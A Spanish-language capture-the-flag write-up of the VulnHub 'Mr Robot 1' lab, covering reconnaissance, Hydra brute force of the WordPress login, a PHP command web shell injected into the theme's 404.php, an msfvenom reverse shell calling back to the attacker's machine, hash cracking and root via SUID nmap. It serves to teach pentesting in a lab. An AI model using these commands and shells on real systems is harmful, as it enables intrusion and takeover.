Mr Robot 1: writeup de la máquina de VulnHub
Resolución paso a paso de Mr Robot 1: reconocimiento, enumeración de WordPress, acceso inicial y escalada de privilegios mediante Nmap con SUID.
En este writeup resolveré la máquina Mr Robot 1 de VulnHub, documentando las técnicas empleadas desde la recolección inicial de información hasta la explotación y la escalada de privilegios.
El objetivo es ofrecer una guía práctica para aprender pentesting y hacking ético mediante la resolución de una máquina CTF de dificultad principiante-intermedia.
Todas las pruebas descritas se realizaron en una máquina vulnerable de laboratorio y dentro de un entorno controlado.
_ _
_ __ ___ _ __ _ __ ___ | |__ ___ | |_
| '_ ` _ \| '__| '__/ _ \| '_ \ / _ \| __|
| | | | | | | | | | (_) | |_) | (_) | |_
|_| |_| |_|_| |_| \___/|_.__/ \___/ \__|
-
Fecha del writeup: 25/05/2024
-
Dificultad: principiante-intermedia
-
Datos de la máquina
- Nombre: Mr Robot 1
- Fecha de lanzamiento: 28 de junio de 2016
- Autor: Leon Johnson
- Serie: Mr-Robot
-
Información del archivo
- Nombre de Archivo: mrRobot.ova
- Tamaño del archivo: 704 MB
- Descarga: mrRobot.ova
- Sumas de comprobación
- MD5: BC02C42815EAC4E872D753E1FD12DDC8
- SHA1: DC0EB84DA4C62284C688590EE092868CE84A09AB
-
Descripción
Basado en el programa Mr. Robot.
Esta VM tiene tres claves ocultas en diferentes ubicaciones. Tu objetivo es encontrar los tres. Cada clave es progresivamente difícil de encontrar.
La VM no es demasiado difícil. No existe ninguna explotación avanzada ni ingeniería inversa. El nivel se considera principiante-intermedio.
Resolución de la máquina
Usaré una distribución Kali Linux como máquina atacante.

Fase de fingerprinting y reconocimiento
Descubrimiento de la IP objetivo en la red
sudo netdiscover -r 10.0.2.0/24 -i eth0

Descubrimiento de puertos en el objetivo
sudo nmap -sS -sC -sV -O 10.0.2.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 04:49 EDT
Nmap scan report for 10.0.2.18
Host is up (0.00097s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:ED:86:2F (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.10 - 4.11 (98%), Linux 3.2 - 4.9 (94%), Linux 3.2 - 3.8 (93%), Linux 3.13 or 4.2 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.18 (92%), Linux 3.13 (91%), Linux 3.16 - 4.6 (91%), Linux 2.6.26 - 2.6.35 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds
Resumen de los hallazgos
| PORT | STATE | SERVICE | VERSION |
|---|---|---|---|
| 22/tcp | closed | ssh | - |
| 80/tcp | open | http | Apache httpd |
| 443/tcp | open | ssl/http | Apache httpd |
Linux 3.10 - 4.11 (98%)
Fase de footprinting y exploración
Exploración del puerto 80
Al navegar por el puerto 80 aparece una animación inspirada en Mr. Robot y un menú desde el que se pueden ejecutar varias acciones y reproducir vídeos.

Realizo una búsqueda de archivos y directorios con diferentes herramientas mediante los siguientes comandos:
dirsearch -u http://10.0.2.18:80 -i200
[05:15:27] 200 - 0B - /favicon.ico
[05:15:48] 200 - 504KB - /intro
[05:15:55] 200 - 7KB - /license
[05:15:55] 200 - 7KB - /license.txt
[05:16:42] 200 - 4KB - /readme
[05:16:42] 200 - 4KB - /readme.html
[05:16:46] 200 - 41B - /robots.txt
[05:16:58] 200 - 0B - /sitemap
[05:16:58] 200 - 0B - /sitemap.xml
[05:16:58] 200 - 0B - /sitemap.xml.gz
[05:24:43] 200 - 21B - /wp-admin/admin-ajax.php
[05:24:44] 200 - 0B - /wp-config.php
[05:24:44] 200 - 0B - /wp-content/
[05:24:45] 200 - 0B - /wp-content/plugins/google-sitemap-generator/sitemap-core.php
[05:24:46] 200 - 0B - /wp-cron.php
[05:24:46] 200 - 1KB - /wp-login
[05:24:46] 200 - 1KB - /wp-login.php
[05:24:46] 200 - 1KB - /wp-login/

nikto -h 10.0.2.18:80

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.0.2.18
+ Target Hostname: 10.0.2.18
+ Target Port: 80
+ Start Time: 2024-05-22 05:30:52 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render ent of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-ility-scanner/vulnerabilities/missing-content-type-header/
+ /fflF32uN.action: Retrieved x-powered-by header: PHP/5.5.29.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easilyorce file names. The following alternatives for 'index' were found: index.html, index.php. Se//www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabiliti
+ /admin/: This might be interesting.
+ /image/: Drupal Link header found with value: <http://10.0.2.18/?p=23>; rel=shortlink. See: https://www.drupal.org/
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ /wp-login/: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found.
+ /wordpress/wp-admin/wp-login.php: Wordpress login found.
+ /blog/wp-login.php: Wordpress login found.
+ /wp-login.php: Wordpress login found.
+ /wordpress/wp-login.php: Wordpress login found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2024-05-22 05:35:20 (GMT-4) (268 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Resumen de la exploración de directorios y archivos
Se ha localizado lo siguiente que puede ser muy interesante de comprobar:
- Archivo
/robots.txt. - Instalación de WordPress:
/wordpress/wp-login.php: página de acceso predeterminada de WordPress.wp-config.php: archivo que podría contener credenciales.wp-links-opml.php: archivo que podría revelar la versión instalada.
- Archivo
/license.txt.
Comprobación de los hallazgos del puerto 80
Comprobación del archivo robots.txt
He localizado un archivo robots.txt y compruebo su contenido.
El endpoint identificado es http://10.0.2.18/robots.txt.

El archivo robots.txt referencia el diccionario fsocity.dic y el archivo key-1-of-3.txt.
Descargo ambos archivos mediante el comando:
wget http://10.0.2.18:80/fsocity.txt
wget http://10.0.2.18:80/key-1-of-3.txt


Compruebo el contenido de los archivos.
cat fsocity.dict | more

Es un diccionario. Para conocer su tamaño ejecuto cat fsocity.dict | wc -l, que devuelve 858.160 líneas.

Compruebo el fichero key-1-of-3.txt y obtengo la primera de las flags.
cat key-1-of-3.txt | more

Obtengo la primera flag: [073403c8a58a1f80d943455fb30724b9]
Comprobación de la instalación de WordPress
Otro de los hallazgos indica que existe una instalación de WordPress en el servidor.
Compruebo el acceso a través del navegador.

El archivo wp-links-opml.php parece revelar la versión instalada de WordPress.

Al consultarlo obtengo la versión 4.3.33 de WordPress.
Escaneo con WPScan
wpscan --url http://10.0.2.18

Como ya dispongo del diccionario encontrado en robots.txt, puedo utilizarlo para probar el acceso a WordPress. Antes elimino las entradas duplicadas para reducir su tamaño.
sort fsocity.dic | uniq | wc -l

Obtengo 11.451 líneas únicas. Creo el archivo fsocity.dic.uniq con el siguiente comando:
sort fsocity.dic | uniq > fsocity.dic.uniq

El resultado es un diccionario sin repeticiones de 11.451 líneas, mucho más manejable que las 858.160 originales.
Intento realizar un ataque de fuerza bruta contra el acceso de WordPress mediante Hydra y el diccionario depurado.
En primer lugar utilizo la contraseña wedontcare, ya que en esta fase busco identificar un nombre de usuario válido:
hydra -vV -L fsocity.dic.uniq -p wedontcare 10.0.2.18 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

Encuentro un nombre válido con este diccionario: elliot.

Uso Hydra de nuevo para intentar descubrir la contraseña del usuario con el mismo diccionario.
hydra -vV -l elliot -P fsocity.dic.uniq 10.0.2.18 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

Al poco tiempo de comenzar el ataque se detecta la contraseña del usuario: ER28-0652

He conseguido las siguientes credenciales:
| Usuario | Password |
|---|---|
| elliot | ER28-0652 |
Fase de explotación
Acceso al panel de control con las credenciales obtenidas
Con estas credenciales puedo acceder al panel de administración de WordPress. Este acceso permite modificar componentes de la aplicación y buscar una vía para obtener una shell.

Obtención de una shell remota
Busco en Metasploit un módulo para WordPress que permita cargar una shell.
Obtención de una shell mediante Metasploit
Inicio Metasploit con msfconsole y ejecuto search wordpress shell.

Selecciono exploit/unix/webapp/wp_admin_shell_upload y reviso las opciones que requiere el módulo.

Defino el nombre de usuario, la clave y el host remoto.
set USERNAME elliot
set PASSWORD ER28-0652
set RHOST 10.0.2.18

Creo una reverse shell con Msfvenom que apunte a mi máquina Kali y al puerto 4444:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.14 LPORT=4444 -f raw > /home/kali/desktop/mi_reverse_shell.php

Desde el panel de administración de WordPress intento subir el archivo generado.






La carga no se completa porque WordPress exige formatos de archivo concretos.
Obtención de una shell modificando un archivo legítimo de WordPress
Como alternativa, modifico un archivo legítimo del tema para que ejecute la shell al cargarse. Accedo al editor del tema activo y selecciono la plantilla 404.php, que solo se ejecuta al solicitar una página inexistente.

Añado una minishell que ejecutará los comandos recibidos mediante el parámetro cmd.
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

Compruebo que la nueva página 404.php funciona.

Ejecuto un listado de archivos para comprobar la minishell y obtengo el contenido del directorio del servidor.

Pruebo a leer el archivo passwd y confirmo que es accesible.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
Esta shell es limitada, por lo que utilizo php-reverse-shell de Pentestmonkey.
Clono el repositorio:
git clone https://github.com/pentestmonkey/php-reverse-shell.git


Edito php-reverse-shell.php y reviso los parámetros que deben modificarse.

Sustituyo las variables de IP y puerto por la dirección de mi máquina Kali y un puerto libre.

Después de modificar esos valores, copio el contenido de php-reverse-shell.php en 404.php.
Dejo mi máquina a la escucha en el puerto 4444.

Visito 404.php para ejecutar el código y recibo una shell de la máquina en el listener.

Mejoro la terminal mediante una PTY de Python:
python -c 'import pty; pty.spawn("/bin/sh")'

Reviso /home y encuentro el directorio del usuario robot, que contiene key-2-of-3.txt y password.raw-md5.

Intento consultar el contenido de key-2-of-3.txt.

El sistema devuelve un error de permiso denegado, por lo que reviso los permisos de ambos archivos.

key-2-of-3.txt solo puede leerlo su propietario, mientras que password.raw-md5 tiene permiso de lectura para cualquier usuario.
Elevación de privilegios
Elevación desde el usuario daemon al usuario robot
Consulto password.raw-md5, al que sí tengo acceso desde el usuario actual.

Obtengo el siguiente valor: robot:c3fcd3d76192e4007dfb496cca67e13b.
El formato parece corresponder a usuario:hash. El nombre del archivo apunta además a que se trata de MD5.
Para comprobarlo utilizo Hash Identifier y le paso el hash.

La herramienta devuelve MD5 como posible tipo de hash.
El siguiente paso es intentar recuperar la contraseña mediante Hashcat:
hashcat -a0 -m0 c3fcd3d76192e4007dfb496cca67e13b fsocity.dic.uniq
Con este comando ejecuto un ataque de diccionario contra el hash MD5 usando fsocity.dic.uniq.

Este primer ataque no devuelve resultados.

Repito el ataque con un diccionario más amplio.

En pocos segundos se recupera la contraseña.
c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz

Con esta contraseña puedo cambiar al usuario robot mediante su robot.

Compruebo que ahora puedo leer key-2-of-3.txt.

Con esto obtengo la segunda flag: 822c73956184f694993bede3eb39f959.
Elevación de privilegios a root
Con el usuario robot, busco archivos con el bit SUID activado:
find / -perm -4000 -type f 2>/dev/null

Uso Searchbins para consultar GTFOBins desde la terminal.

Busco la posibilidad de obtener una shell mediante el binario Nmap:
./searchbins.sh -b nmap -f shell

El resultado indica que las versiones de Nmap comprendidas entre la 2.02 y la 5.21 permiten ejecutar comandos desde su modo interactivo.
La versión instalada es la 3.81, por lo que esta técnica resulta aplicable.
Abro la consola interactiva con nmap --interactive y ejecuto !sh, obteniendo una shell con privilegios de root.

Reviso el directorio de root y encuentro key-3-of-3.txt.

Al consultarlo obtengo la tercera flag: 04787ddef27c3dee1ee161b21670b4e4.